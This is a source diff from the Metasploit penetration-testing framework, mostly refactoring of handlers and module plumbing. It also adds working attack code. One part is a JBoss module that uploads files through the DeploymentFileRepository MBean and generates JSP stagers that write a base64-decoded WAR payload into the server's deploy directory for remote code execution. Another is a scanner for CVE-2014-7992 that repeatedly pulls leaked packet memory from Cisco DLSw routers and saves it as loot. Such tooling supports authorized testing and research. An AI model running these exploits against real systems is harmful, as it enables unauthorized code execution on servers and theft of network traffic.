URI_CHECKSUM_INITW = 92 # Windows
|
||||||
URI_CHECKSUM_INITJ = 88
|
URI_CHECKSUM_INITP = 80 # Python
|
||||||
|
URI_CHECKSUM_INITJ = 88 # Java
|
||||||
URI_CHECKSUM_CONN = 98
|
URI_CHECKSUM_CONN = 98
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -61,6 +62,8 @@ module Msf
|
||||||
case uri_check
|
case uri_check
|
||||||
when URI_CHECKSUM_INITW
|
when URI_CHECKSUM_INITW
|
||||||
uri_match = "/INITM"
|
uri_match = "/INITM"
|
||||||
|
when URI_CHECKSUM_INITP
|
||||||
|
uri_match = "/INITPY"
|
||||||
when URI_CHECKSUM_INITJ
|
when URI_CHECKSUM_INITJ
|
||||||
uri_match = "/INITJM"
|
uri_match = "/INITJM"
|
||||||
when URI_CHECKSUM_CONN
|
when URI_CHECKSUM_CONN
|
||||||
|
|
|
@ -45,7 +45,7 @@ module ReverseHttpsProxy
|
||||||
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||||
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
||||||
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
||||||
], Msf::Handler::ReverseHttpsProxy)
|
], Msf::Handler::ReverseHttpsProxy)
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
|
|
|
@ -59,7 +59,6 @@ module ReverseTcp
|
||||||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||||
], Msf::Handler::ReverseTcp)
|
], Msf::Handler::ReverseTcp)
|
||||||
|
|
||||||
self.handler_queue = ::Queue.new
|
|
||||||
self.conn_threads = []
|
self.conn_threads = []
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -137,32 +136,41 @@ module ReverseTcp
|
||||||
# Starts monitoring for an inbound connection.
|
# Starts monitoring for an inbound connection.
|
||||||
#
|
#
|
||||||
def start_handler
|
def start_handler
|
||||||
local_port = bind_port
|
queue = ::Queue.new
|
||||||
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) {
|
|
||||||
client = nil
|
|
||||||
|
|
||||||
begin
|
local_port = bind_port
|
||||||
|
|
||||||
|
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue|
|
||||||
|
loop do
|
||||||
# Accept a client connection
|
# Accept a client connection
|
||||||
begin
|
begin
|
||||||
client = self.listener_sock.accept
|
client = self.listener_sock.accept
|
||||||
rescue
|
if ! client
|
||||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
|
self.pending_connections += 1
|
||||||
|
lqueue.push(client)
|
||||||
|
rescue ::Exception
|
||||||
|
wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
end
|
||||||
# Increment the has connection counter
|
|
||||||
self.pending_connections += 1
|
|
||||||
|
|
||||||
self.handler_queue.push( client )
|
|
||||||
end while true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) {
|
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue|
|
||||||
while true
|
loop do
|
||||||
client = self.handler_queue.pop
|
|
||||||
begin
|
begin
|
||||||
|
client = cqueue.pop
|
||||||
|
|
||||||
|
if ! client
|
||||||
|
elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
if datastore['ReverseListenerThreaded']
|
if datastore['ReverseListenerThreaded']
|
||||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy|
|
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
@ -273,7 +281,6 @@ protected
|
||||||
attr_accessor :listener_sock # :nodoc:
|
attr_accessor :listener_sock # :nodoc:
|
||||||
attr_accessor :listener_thread # :nodoc:
|
attr_accessor :listener_thread # :nodoc:
|
||||||
attr_accessor :handler_thread # :nodoc:
|
attr_accessor :handler_thread # :nodoc:
|
||||||
attr_accessor :handler_queue # :nodoc:
|
|
||||||
attr_accessor :conn_threads # :nodoc:
|
attr_accessor :conn_threads # :nodoc:
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -53,6 +53,10 @@ class Module
|
||||||
include Msf::Module::UI
|
include Msf::Module::UI
|
||||||
include Msf::Module::UUID
|
include Msf::Module::UUID
|
||||||
|
|
||||||
|
# The key where a comma-separated list of Ruby module names will live in the
|
||||||
|
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||||
|
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||||
|
|
||||||
# Make include public so we can runtime extend
|
# Make include public so we can runtime extend
|
||||||
public_class_method :include
|
public_class_method :include
|
||||||
|
|
||||||
|
@ -142,7 +146,6 @@ class Module
|
||||||
# Creates a fresh copy of an instantiated module
|
# Creates a fresh copy of an instantiated module
|
||||||
#
|
#
|
||||||
def replicant
|
def replicant
|
||||||
|
|
||||||
obj = self.class.new
|
obj = self.class.new
|
||||||
self.instance_variables.each { |k|
|
self.instance_variables.each { |k|
|
||||||
v = instance_variable_get(k)
|
v = instance_variable_get(k)
|
||||||
|
@ -154,9 +157,34 @@ class Module
|
||||||
obj.user_input = self.user_input
|
obj.user_input = self.user_input
|
||||||
obj.user_output = self.user_output
|
obj.user_output = self.user_output
|
||||||
obj.module_store = self.module_store.clone
|
obj.module_store = self.module_store.clone
|
||||||
|
|
||||||
|
obj.perform_extensions
|
||||||
obj
|
obj
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Extends self with the constant list in the datastore
|
||||||
|
# @return [void]
|
||||||
|
def perform_extensions
|
||||||
|
if datastore[REPLICANT_EXTENSION_DS_KEY].present?
|
||||||
|
if datastore[REPLICANT_EXTENSION_DS_KEY].respond_to?(:each)
|
||||||
|
datastore[REPLICANT_EXTENSION_DS_KEY].each do |const|
|
||||||
|
self.extend(const)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail "Invalid settings in datastore at key #{REPLICANT_EXTENSION_DS_KEY}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# @param[Constant] One or more Ruby constants
|
||||||
|
# @return [void]
|
||||||
|
def register_extensions(*rb_modules)
|
||||||
|
datastore[REPLICANT_EXTENSION_DS_KEY] = [] unless datastore[REPLICANT_EXTENSION_DS_KEY].present?
|
||||||
|
rb_modules.each do |rb_mod|
|
||||||
|
datastore[REPLICANT_EXTENSION_DS_KEY] << rb_mod unless datastore[REPLICANT_EXTENSION_DS_KEY].include? rb_mod
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the unduplicated class associated with this module.
|
# Returns the unduplicated class associated with this module.
|
||||||
#
|
#
|
||||||
|
|
|
@ -19,7 +19,12 @@ class Msf::Post < Msf::Module
|
||||||
|
|
||||||
include Msf::PostMixin
|
include Msf::PostMixin
|
||||||
|
|
||||||
def setup; end
|
def setup
|
||||||
|
m = replicant
|
||||||
|
if m.actions.length > 0 && !m.action
|
||||||
|
raise Msf::MissingActionError, "Please use: #{m.actions.collect {|e| e.name} * ", "}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def type
|
def type
|
||||||
Msf::MODULE_POST
|
Msf::MODULE_POST
|
||||||
|
|
|
@ -3,6 +3,8 @@
|
||||||
module Msf::Post::Common
|
module Msf::Post::Common
|
||||||
|
|
||||||
def rhost
|
def rhost
|
||||||
|
return nil unless session
|
||||||
|
|
||||||
case session.type
|
case session.type
|
||||||
when 'meterpreter'
|
when 'meterpreter'
|
||||||
session.sock.peerhost
|
session.sock.peerhost
|
||||||
|
|
|
@ -5,13 +5,17 @@ module Msf
|
||||||
module HTTP
|
module HTTP
|
||||||
module JBoss
|
module JBoss
|
||||||
require 'msf/http/jboss/base'
|
require 'msf/http/jboss/base'
|
||||||
require 'msf/http/jboss/bean_shell_scripts'
|
|
||||||
require 'msf/http/jboss/bean_shell'
|
require 'msf/http/jboss/bean_shell'
|
||||||
|
require 'msf/http/jboss/bean_shell_scripts'
|
||||||
|
require 'msf/http/jboss/deployment_file_repository'
|
||||||
|
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::HTTP::JBoss::Base
|
include Msf::HTTP::JBoss::Base
|
||||||
include Msf::HTTP::JBoss::BeanShellScripts
|
|
||||||
include Msf::HTTP::JBoss::BeanShell
|
include Msf::HTTP::JBoss::BeanShell
|
||||||
|
include Msf::HTTP::JBoss::BeanShellScripts
|
||||||
|
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||||
|
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
|
@ -5,7 +5,7 @@ module Msf::HTTP::JBoss::Base
|
||||||
# Deploys a WAR through HTTP uri invoke
|
# Deploys a WAR through HTTP uri invoke
|
||||||
#
|
#
|
||||||
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
|
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
|
||||||
# @param num_attempts [Integer] The number of attempts
|
# @param num_attempts [Integer] The number of attempts
|
||||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
|
||||||
def deploy(opts = {}, num_attempts = 5)
|
def deploy(opts = {}, num_attempts = 5)
|
||||||
uri = opts['uri']
|
uri = opts['uri']
|
||||||
|
@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
|
||||||
datastore['VERB']
|
datastore['VERB']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Try to auto detect the target architecture and platform
|
||||||
|
#
|
||||||
|
# @param [Array] The available targets
|
||||||
|
# @return [Msf::Module::Target, nil] The detected target or nil
|
||||||
|
def auto_target(available_targets)
|
||||||
|
if http_verb == 'HEAD'
|
||||||
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||||
|
else
|
||||||
|
print_status("Attempting to automatically select a target...")
|
||||||
|
res = query_serverinfo
|
||||||
|
plat = detect_platform(res)
|
||||||
|
unless plat
|
||||||
|
print_warning('Unable to detect platform!')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
arch = detect_architecture(res)
|
||||||
|
unless arch
|
||||||
|
print_warning('Unable to detect architecture!')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# see if we have a match
|
||||||
|
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
|
||||||
|
end
|
||||||
|
|
||||||
|
# no matching target found, use Java as fallback
|
||||||
|
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
|
||||||
|
|
||||||
|
java_targets[0]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Query the server information from HtmlAdaptor
|
||||||
|
#
|
||||||
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
|
||||||
|
def query_serverinfo
|
||||||
|
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => path,
|
||||||
|
'method' => http_verb,
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'action' => 'inspectMBean',
|
||||||
|
'name' => 'jboss.system:type=ServerInfo'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
print_error("Failed: Error requesting #{path}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
# Try to autodetect the target platform
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
|
||||||
|
# @return [String, nil] The target platform or nil
|
||||||
|
def detect_platform(res)
|
||||||
|
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||||
|
os = $1
|
||||||
|
if (os =~ /Linux/i)
|
||||||
|
return 'linux'
|
||||||
|
elsif (os =~ /FreeBSD/i)
|
||||||
|
return 'linux'
|
||||||
|
elsif (os =~ /Windows/i)
|
||||||
|
return 'win'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# Try to autodetect the target architecture
|
||||||
|
#
|
||||||
|
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
|
||||||
|
# @return [String, nil] The target architecture or nil
|
||||||
|
def detect_architecture(res)
|
||||||
|
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||||
|
arch = $1
|
||||||
|
if arch =~ /(x86|i386|i686)/i
|
||||||
|
return ARCH_X86
|
||||||
|
elsif arch =~ /(x86_64|amd64)/i
|
||||||
|
return ARCH_X86
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::HTTP::JBoss::BeanShellScripts
|
module Msf::HTTP::JBoss::BeanShellScripts
|
||||||
|
|
||||||
# Generates a Bean Shell Script.
|
# Generates a Bean Shell Script.
|
||||||
#
|
#
|
||||||
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.
|
# @param type [Symbol] The Bean Shell script type, `:create` or `:delete`.
|
||||||
|
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf::HTTP::JBoss::DeploymentFileRepository
|
||||||
|
|
||||||
|
# Upload a text file with DeploymentFileRepository.store()
|
||||||
|
#
|
||||||
|
# @param base_name [String] The destination base name
|
||||||
|
# @param jsp_name [String] The destanation file name
|
||||||
|
# @param content [String] The content of the file
|
||||||
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||||
|
def upload_file(base_name, jsp_name, content)
|
||||||
|
params = { }
|
||||||
|
params.compare_by_identity
|
||||||
|
params['action'] = 'invokeOpByName'
|
||||||
|
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||||
|
params['methodName'] = 'store'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg0'] = base_name + '.war'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg1'] = jsp_name
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg2'] = '.jsp'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg3'] = content
|
||||||
|
params['argType'] = 'boolean'
|
||||||
|
params['arg4'] = 'True'
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
'method' => http_verb,
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||||
|
}
|
||||||
|
|
||||||
|
if http_verb == 'POST'
|
||||||
|
opts.merge!('vars_post' => params)
|
||||||
|
else
|
||||||
|
opts.merge!('vars_get' => params)
|
||||||
|
end
|
||||||
|
|
||||||
|
send_request_cgi(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Delete a file with DeploymentFileRepository.remove().
|
||||||
|
#
|
||||||
|
# @param folder [String] The destination folder name
|
||||||
|
# @param name [String] The destination file name
|
||||||
|
# @param ext [String] The destination file extension
|
||||||
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||||
|
def delete_file(folder, name, ext)
|
||||||
|
params = { }
|
||||||
|
params.compare_by_identity
|
||||||
|
params['action'] = 'invokeOpByName'
|
||||||
|
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||||
|
params['methodName'] = 'remove'
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg0'] = folder
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg1'] = name
|
||||||
|
params['argType'] = 'java.lang.String'
|
||||||
|
params['arg2'] = ext
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
'method' => http_verb,
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||||
|
}
|
||||||
|
|
||||||
|
if http_verb == 'POST'
|
||||||
|
opts.merge!('vars_post' => params)
|
||||||
|
timeout = 5
|
||||||
|
else
|
||||||
|
opts.merge!('vars_get' => params)
|
||||||
|
timeout = 30
|
||||||
|
end
|
||||||
|
send_request_cgi(opts, timeout)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
|
|
||||||
|
# Generate a stager JSP to write the second stager to the
|
||||||
|
# deploy/management directory. It is only used with HEAD/GET requests
|
||||||
|
# to overcome the size limit in those requests
|
||||||
|
#
|
||||||
|
# @param stager_base [String] The name of the base of the stager.
|
||||||
|
# @param stager_jsp [String] The name name of the jsp stager.
|
||||||
|
# @return [String] The JSP head stager.
|
||||||
|
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
|
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
head_stager_jsp_code = <<-EOT
|
||||||
|
<%@page import="java.io.*,
|
||||||
|
java.util.*"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||||
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||||
|
try {
|
||||||
|
String #{content_var} = "";
|
||||||
|
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||||
|
#{content_var} = request.getParameter(parameterName);
|
||||||
|
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||||
|
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||||
|
#{bw_var}.write(#{content_var});
|
||||||
|
#{bw_var}.close();
|
||||||
|
}
|
||||||
|
catch(Exception e) { }
|
||||||
|
%>
|
||||||
|
EOT
|
||||||
|
head_stager_jsp_code
|
||||||
|
end
|
||||||
|
|
||||||
|
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||||
|
# This is used to bypass the size limit for GET/HEAD requests.
|
||||||
|
#
|
||||||
|
# @param app_base [String] The name of the WAR app to write.
|
||||||
|
# @return [String] The JSP stager.
|
||||||
|
def stager_jsp_with_payload(app_base, encoded_payload)
|
||||||
|
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
|
|
||||||
|
stager_jsp = <<-EOT
|
||||||
|
<%@page import="java.io.*,
|
||||||
|
java.util.*,
|
||||||
|
sun.misc.BASE64Decoder"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||||
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||||
|
try {
|
||||||
|
String #{content_var} = "#{encoded_payload}";
|
||||||
|
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||||
|
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||||
|
#{fos_var}.write(#{decoded_var});
|
||||||
|
#{fos_var}.close();
|
||||||
|
}
|
||||||
|
catch(Exception e){ }
|
||||||
|
%>
|
||||||
|
EOT
|
||||||
|
|
||||||
|
stager_jsp
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end
|
|
@ -96,7 +96,7 @@ module PacketDispatcher
|
||||||
|
|
||||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||||
if req.body[0,4] == "RECV"
|
if req.body[0,4] == "RECV"
|
||||||
rpkt = send_queue.pop
|
rpkt = send_queue.shift
|
||||||
resp.body = rpkt || ''
|
resp.body = rpkt || ''
|
||||||
begin
|
begin
|
||||||
cli.send_response(resp)
|
cli.send_response(resp)
|
||||||
|
|
|
@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
case action.name
|
case action.name
|
||||||
when 'Deploy'
|
when 'Deploy'
|
||||||
unless File.exist?(datastore['WARFILE'])
|
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||||
print_error("WAR file not found")
|
print_error("WAR file not found")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
war_data = File.read(datastore['WARFILE'])
|
war_data = File.read(datastore['WARFILE'])
|
||||||
deploy_action(app_base, war_data)
|
deploy_action(app_base, war_data)
|
||||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
|
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module can be used to brute force RIDs associated with the domain of the SQL Server
|
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
|
||||||
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
|
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
|
||||||
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
|
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
|
||||||
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
|
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
|
||||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Microsoft SQL Server - SQLi SUSER_SNAME Domain Account Enumeration',
|
'Name' => 'Microsoft SQL Server - SQLi SUSER_SNAME Domain Account Enumeration',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module can be used to brute force RIDs associated with the domain of the SQL Server
|
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
|
||||||
using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
|
using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
|
||||||
smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
|
smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
|
||||||
role (everyone). Information that can be enumerated includes Windows domain users, groups,
|
role (everyone). Information that can be enumerated includes Windows domain users, groups,
|
||||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
|
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'UDP_SECRET', 'GATEWAY', 'NETMASK')
|
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_batch_size
|
def run_batch_size
|
||||||
|
|
|
@ -0,0 +1,114 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'socket'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Cisco DLSw Information Disclosure Scanner',
|
||||||
|
'Description' => %q(
|
||||||
|
This module implements the DLSw information disclosure retrieval. There
|
||||||
|
is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
|
||||||
|
that allows an unuthenticated remote attacker to retrieve the partial
|
||||||
|
contents of packets traversing a Cisco router with DLSw configured
|
||||||
|
and active.
|
||||||
|
),
|
||||||
|
'Author' => [
|
||||||
|
'Tate Hansen', # Vulnerability discovery
|
||||||
|
'John McLeod', # Vulnerability discovery
|
||||||
|
'Kyle Rainey' # Built lab to recreate vulnerability and help test
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-7992'],
|
||||||
|
['URL', 'https://github.com/tatehansen/dlsw_exploit']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Nov 17 2014',
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(2067),
|
||||||
|
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_response(size = 72)
|
||||||
|
connect
|
||||||
|
response = sock.get_once(size)
|
||||||
|
disconnect
|
||||||
|
response
|
||||||
|
end
|
||||||
|
|
||||||
|
# Called when using check
|
||||||
|
def check_host(_ip)
|
||||||
|
print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)")
|
||||||
|
response = get_response
|
||||||
|
|
||||||
|
if response.blank?
|
||||||
|
vprint_status("#{peer}: no response")
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
|
||||||
|
vprint_good("#{peer}: Detected DLSw protocol")
|
||||||
|
report_service(
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
proto: 'tcp',
|
||||||
|
name: 'dlsw'
|
||||||
|
)
|
||||||
|
# TODO: check that response has something that truly indicates it is vulnerable
|
||||||
|
# and not simply that it responded
|
||||||
|
unless response[18..72].scan(/\x00/).length == 54
|
||||||
|
print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes")
|
||||||
|
report_vuln(
|
||||||
|
host: rhost,
|
||||||
|
port: rport,
|
||||||
|
name: name,
|
||||||
|
refs: references,
|
||||||
|
info: "Module #{fullname} collected #{response.length} bytes"
|
||||||
|
)
|
||||||
|
Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data")
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Main method
|
||||||
|
def run_host(ip)
|
||||||
|
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||||
|
|
||||||
|
dlsw_data = ''
|
||||||
|
until dlsw_data.length > datastore['LEAK_AMOUNT']
|
||||||
|
response = get_response
|
||||||
|
dlsw_data << response[18..72] unless response.blank?
|
||||||
|
end
|
||||||
|
loot_and_report(dlsw_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
def loot_and_report(dlsw_leak)
|
||||||
|
path = store_loot(
|
||||||
|
'dlsw.packet.contents',
|
||||||
|
'application/octet-stream',
|
||||||
|
rhost,
|
||||||
|
dlsw_leak,
|
||||||
|
'DLSw_leaked_data',
|
||||||
|
'DLSw packet memory leak'
|
||||||
|
)
|
||||||
|
print_status("#{peer}: DLSw leaked data stored in #{path}")
|
||||||
|
end
|
||||||
|
end
|
|
